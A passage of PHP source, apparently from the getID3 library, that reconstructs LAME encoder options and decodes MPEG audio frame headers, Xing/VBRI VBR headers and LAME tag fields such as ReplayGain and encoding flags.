(isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) { $encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']]; } elseif ($info['audio']['bitrate_mode'] == 'vbr') { // http://gabriel.mp3-tech.org/mp3infotag.html // int Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h $LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10); $LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10); $encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value; } elseif ($info['audio']['bitrate_mode'] == 'cbr') { $encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); } else { $encoder_options = strtoupper($info['audio']['bitrate_mode']); } } elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) { $encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr']; } elseif (!empty($info['audio']['bitrate'])) { if ($info['audio']['bitrate_mode'] == 'cbr') { $encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); } else { $encoder_options = strtoupper($info['audio']['bitrate_mode']); } } if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) { $encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min']; } if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) { $encoder_options .= ' --nogap'; } if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) { $ExplodedOptions = explode(' ', $encoder_options, 4); if ($ExplodedOptions[0] == '--r3mix') { $ExplodedOptions[1] = 'r3mix'; } switch ($ExplodedOptions[0]) { case '--preset': case '--alt-preset': case '--r3mix': if ($ExplodedOptions[1] == 'fast') { $ExplodedOptions[1] .= ' '.$ExplodedOptions[2]; } switch ($ExplodedOptions[1]) { case 'portable': case 'medium': case 'standard': case 'extreme': case 'insane': case 'fast portable': case 'fast medium': case 'fast standard': case 'fast extreme': case 'fast insane': case 'r3mix': static $ExpectedLowpass = array( 'insane|20500' => 20500, 'insane|20600' => 20600, // 3.90.2, 3.90.3, 3.91 'medium|18000' => 18000, 'fast medium|18000' => 18000, 'extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 'extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 'fast extreme|19500' => 19500, // 3.90, 3.90.1, 3.92, 3.95 'fast extreme|19600' => 19600, // 3.90.2, 3.90.3, 3.91, 3.93.1 'standard|19000' => 19000, 'fast standard|19000' => 19000, 'r3mix|19500' => 19500, // 3.90, 3.90.1, 3.92 'r3mix|19600' => 19600, // 3.90.2, 3.90.3, 3.91 'r3mix|18000' => 18000, // 3.94, 3.95 ); if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) { $encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency']; } break; default: break; } break; } } if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) { if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) { $encoder_options .= ' --resample 44100'; } elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) { $encoder_options .= ' --resample 48000'; } elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) { switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) { case 0: // <= 32000 // may or may not be same as source frequency - ignore break; case 1: // 44100 case 2: // 48000 case 3: // 48000+ $ExplodedOptions = explode(' ', $encoder_options, 4); switch ($ExplodedOptions[0]) { case '--preset': case '--alt-preset': switch ($ExplodedOptions[1]) { case 'fast': case 'portable': case 'medium': case 'standard': case 'extreme': case 'insane': $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; break; default: static $ExpectedResampledRate = array( 'phon+/lw/mw-eu/sw|16000' => 16000, 'mw-us|24000' => 24000, // 3.95 'mw-us|32000' => 32000, // 3.93 'mw-us|16000' => 16000, // 3.92 'phone|16000' => 16000, 'phone|11025' => 11025, // 3.94a15 'radio|32000' => 32000, // 3.94a15 'fm/radio|32000' => 32000, // 3.92 'fm|32000' => 32000, // 3.90 'voice|32000' => 32000); if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) { $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; } break; } break; case '--r3mix': default: $encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate']; break; } break; } } } if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) { //$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000); $encoder_options = strtoupper($info['audio']['bitrate_mode']); } return $encoder_options; } /** * @param int $offset * @param array $info * @param bool $recursivesearch * @param bool $ScanAsCBR * @param bool $FastMPEGheaderScan * * @return bool */ public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) { static $MPEGaudioVersionLookup; static $MPEGaudioLayerLookup; static $MPEGaudioBitrateLookup; static $MPEGaudioFrequencyLookup; static $MPEGaudioChannelModeLookup; static $MPEGaudioModeExtensionLookup; static $MPEGaudioEmphasisLookup; if (empty($MPEGaudioVersionLookup)) { $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); } if ($this->fseek($offset) != 0) { $this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset); return false; } //$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame $headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data // MP3 audio frame structure: // $aa $aa $aa $aa [$bb $bb] $cc... // where $aa..$aa is the four-byte mpeg-audio header (below) // $bb $bb is the optional 2-byte CRC // and $cc... is the audio data $head4 = substr($headerstring, 0, 4); $head4_key = getid3_lib::PrintHexBytes($head4, true, false, false); static $MPEGaudioHeaderDecodeCache = array(); if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) { $MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key]; } else { $MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4); $MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray; } static $MPEGaudioHeaderValidCache = array(); if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache //$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true); // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1) $MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false); } // shortcut if (!isset($info['mpeg']['audio'])) { $info['mpeg']['audio'] = array(); } $thisfile_mpeg_audio = &$info['mpeg']['audio']; if ($MPEGaudioHeaderValidCache[$head4_key]) { $thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray; } else { $this->error('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset); return false; } if (!$FastMPEGheaderScan) { $thisfile_mpeg_audio['version'] = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']]; $thisfile_mpeg_audio['layer'] = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']]; $thisfile_mpeg_audio['channelmode'] = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']]; $thisfile_mpeg_audio['channels'] = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2); $thisfile_mpeg_audio['sample_rate'] = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']]; $thisfile_mpeg_audio['protection'] = !$thisfile_mpeg_audio['raw']['protection']; $thisfile_mpeg_audio['private'] = (bool) $thisfile_mpeg_audio['raw']['private']; $thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']]; $thisfile_mpeg_audio['copyright'] = (bool) $thisfile_mpeg_audio['raw']['copyright']; $thisfile_mpeg_audio['original'] = (bool) $thisfile_mpeg_audio['raw']['original']; $thisfile_mpeg_audio['emphasis'] = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']]; $info['audio']['channels'] = $thisfile_mpeg_audio['channels']; $info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate']; if ($thisfile_mpeg_audio['protection']) { $thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2)); } } if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) { // http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0 $this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1'); $thisfile_mpeg_audio['raw']['bitrate'] = 0; } $thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding']; $thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']]; if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) { // only skip multiple frame check if free-format bitstream found at beginning of file // otherwise is quite possibly simply corrupted data $recursivesearch = false; } // For Layer 2 there are some combinations of bitrate and mode which are not allowed. if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) { $info['audio']['dataformat'] = 'mp2'; switch ($thisfile_mpeg_audio['channelmode']) { case 'mono': if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) { // these are ok } else { $this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); return false; } break; case 'stereo': case 'joint stereo': case 'dual channel': if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) { // these are ok } else { $this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.'); return false; } break; } } if ($info['audio']['sample_rate'] > 0) { $thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']); } $nextframetestoffset = $offset + 1; if ($thisfile_mpeg_audio['bitrate'] != 'free') { $info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate']; if (isset($thisfile_mpeg_audio['framelength'])) { $nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength']; } else { $this->error('Frame at offset('.$offset.') is has an invalid frame length.'); return false; } } $ExpectedNumberOfAudioBytes = 0; //////////////////////////////////////////////////////////////////////////////////// // Variable-bitrate headers if (substr($headerstring, 4 + 32, 4) == 'VBRI') { // Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36) // specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; $thisfile_mpeg_audio['VBR_method'] = 'Fraunhofer'; $info['audio']['codec'] = 'Fraunhofer'; $SideInfoData = substr($headerstring, 4 + 2, 32); $FraunhoferVBROffset = 36; $thisfile_mpeg_audio['VBR_encoder_version'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 4, 2)); // VbriVersion $thisfile_mpeg_audio['VBR_encoder_delay'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 6, 2)); // VbriDelay $thisfile_mpeg_audio['VBR_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 8, 2)); // VbriQuality $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames $thisfile_mpeg_audio['VBR_seek_offsets'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize $thisfile_mpeg_audio['VBR_seek_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale $thisfile_mpeg_audio['VBR_entry_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes $thisfile_mpeg_audio['VBR_entry_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames $ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes']; $previousbyteoffset = $offset; for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) { $Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes'])); $FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes']; $thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']); $thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset; $previousbyteoffset += $Fraunhofer_OffsetN; } } else { // Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36) // depending on MPEG layer and number of channels $VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']); $SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4); if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) { // 'Xing' is traditional Xing VBR frame // 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.) // 'Info' *can* legally be used to specify a VBR file as well, however. // http://www.multiweb.cz/twoinches/MP3inside.htm //00..03 = "Xing" or "Info" //04..07 = Flags: // 0x01 Frames Flag set if value for number of frames in file is stored // 0x02 Bytes Flag set if value for filesize in bytes is stored // 0x04 TOC Flag set if values for TOC are stored // 0x08 VBR Scale Flag set if values for VBR scale is stored //08..11 Frames: Number of frames in file (including the first Xing/Info one) //12..15 Bytes: File length in Bytes //16..115 TOC (Table of Contents): // Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file. // Each Byte has a value according this formula: // (TOC[i] / 256) * fileLenInBytes // So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use: // TOC[(60/240)*100] = TOC[25] // and corresponding Byte in file is then approximately at: // (TOC[25]/256) * 5000000 //116..119 VBR Scale // should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME // if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') { $thisfile_mpeg_audio['bitrate_mode'] = 'vbr'; $thisfile_mpeg_audio['VBR_method'] = 'Xing'; // } else { // $ScanAsCBR = true; // $thisfile_mpeg_audio['bitrate_mode'] = 'cbr'; // } $thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4)); $thisfile_mpeg_audio['xing_flags']['frames'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001); $thisfile_mpeg_audio['xing_flags']['bytes'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002); $thisfile_mpeg_audio['xing_flags']['toc'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004); $thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008); if ($thisfile_mpeg_audio['xing_flags']['frames']) { $thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 8, 4)); //$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame } if ($thisfile_mpeg_audio['xing_flags']['bytes']) { $thisfile_mpeg_audio['VBR_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4)); } //if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { //if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) { if (!empty($thisfile_mpeg_audio['VBR_frames'])) { $used_filesize = 0; if (!empty($thisfile_mpeg_audio['VBR_bytes'])) { $used_filesize = $thisfile_mpeg_audio['VBR_bytes']; } elseif (!empty($info['filesize'])) { $used_filesize = $info['filesize']; $used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0); $used_filesize -= (isset($info['id3v1']) ? 128 : 0); $used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0); $this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes'); } $framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames']; if ($thisfile_mpeg_audio['layer'] == '1') { // BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12 //$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12; $info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12; } else { // Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144 //$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144; $info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144; } $thisfile_mpeg_audio['framelength'] = floor($framelengthfloat); } if ($thisfile_mpeg_audio['xing_flags']['toc']) { $LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100); for ($i = 0; $i < 100; $i++) { $thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]); } } if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) { $thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4)); } // http://gabriel.mp3-tech.org/mp3infotag.html if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') { // shortcut $thisfile_mpeg_audio['LAME'] = array(); $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; $thisfile_mpeg_audio_lame['long_version'] = substr($headerstring, $VBRidOffset + 120, 20); $thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9); $thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']); if (preg_match('#^LAME([0-9\\.a-z]+)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) { $thisfile_mpeg_audio_lame['short_version'] = $matches[0]; $thisfile_mpeg_audio_lame['numeric_version'] = $matches[1]; } foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) { $thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number); } //if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') { if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207 // extra 11 chars are not part of version string when LAMEtag present unset($thisfile_mpeg_audio_lame['long_version']); // It the LAME tag was only introduced in LAME v3.90 // http://www.hydrogenaudio.org/?act=ST&f=15&t=9933 // Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html // are assuming a 'Xing' identifier offset of 0x24, which is the case for // MPEG-1 non-mono, but not for other combinations $LAMEtagOffsetContant = $VBRidOffset - 0x24; // shortcuts $thisfile_mpeg_audio_lame['RGAD'] = array('track'=>array(), 'album'=>array()); $thisfile_mpeg_audio_lame_RGAD = &$thisfile_mpeg_audio_lame['RGAD']; $thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track']; $thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album']; $thisfile_mpeg_audio_lame['raw'] = array(); $thisfile_mpeg_audio_lame_raw = &$thisfile_mpeg_audio_lame['raw']; // byte $9B VBR Quality // This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications. // Actually overwrites original Xing bytes unset($thisfile_mpeg_audio['VBR_scale']); $thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1)); // bytes $9C-$A4 Encoder short VersionString $thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9); // byte $A5 Info Tag revision + VBR method $LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1)); $thisfile_mpeg_audio_lame['tag_revision'] = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4; $thisfile_mpeg_audio_lame_raw['vbr_method'] = $LAMEtagRevisionVBRmethod & 0x0F; $thisfile_mpeg_audio_lame['vbr_method'] = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']); $thisfile_mpeg_audio['bitrate_mode'] = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr' // byte $A6 Lowpass filter value $thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100; // bytes $A7-$AE Replay Gain // http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html // bytes $A7-$AA : 32 bit floating point "Peak signal amplitude" if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') { // LAME 3.94a16 and later - 9.23 fixed point // ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375 $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608); } else { // LAME 3.94a15 and earlier - 32-bit floating point // Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15 $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4)); } if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) { unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); } else { $thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']); } $thisfile_mpeg_audio_lame_raw['RGAD_track'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2)); $thisfile_mpeg_audio_lame_raw['RGAD_album'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2)); if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) { $thisfile_mpeg_audio_lame_RGAD_track['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13; $thisfile_mpeg_audio_lame_RGAD_track['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10; $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9; $thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF; $thisfile_mpeg_audio_lame_RGAD_track['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']); $thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']); $thisfile_mpeg_audio_lame_RGAD_track['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']); if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { $info['replay_gain']['track']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; } $info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator']; $info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db']; } else { unset($thisfile_mpeg_audio_lame_RGAD['track']); } if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) { $thisfile_mpeg_audio_lame_RGAD_album['raw']['name'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13; $thisfile_mpeg_audio_lame_RGAD_album['raw']['originator'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10; $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit'] = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9; $thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF; $thisfile_mpeg_audio_lame_RGAD_album['name'] = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']); $thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']); $thisfile_mpeg_audio_lame_RGAD_album['gain_db'] = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']); if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) { $info['replay_gain']['album']['peak'] = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude']; } $info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator']; $info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db']; } else { unset($thisfile_mpeg_audio_lame_RGAD['album']); } if (empty($thisfile_mpeg_audio_lame_RGAD)) { unset($thisfile_mpeg_audio_lame['RGAD']); } // byte $AF Encoding flags + ATH Type $EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1)); $thisfile_mpeg_audio_lame['encoding_flags']['nspsytune'] = (bool) ($EncodingFlagsATHtype & 0x10); $thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20); $thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'] = (bool) ($EncodingFlagsATHtype & 0x40); $thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev'] = (bool) ($EncodingFlagsATHtype & 0x80); $thisfile_mpeg_audio_lame['ath_type'] = $EncodingFlagsATHtype & 0x0F; // byte $B0 if ABR {specified bitrate} else {minimal bitrate} $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1)); if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR) $thisfile_mpeg_audio_lame['bitrate_abr'] = 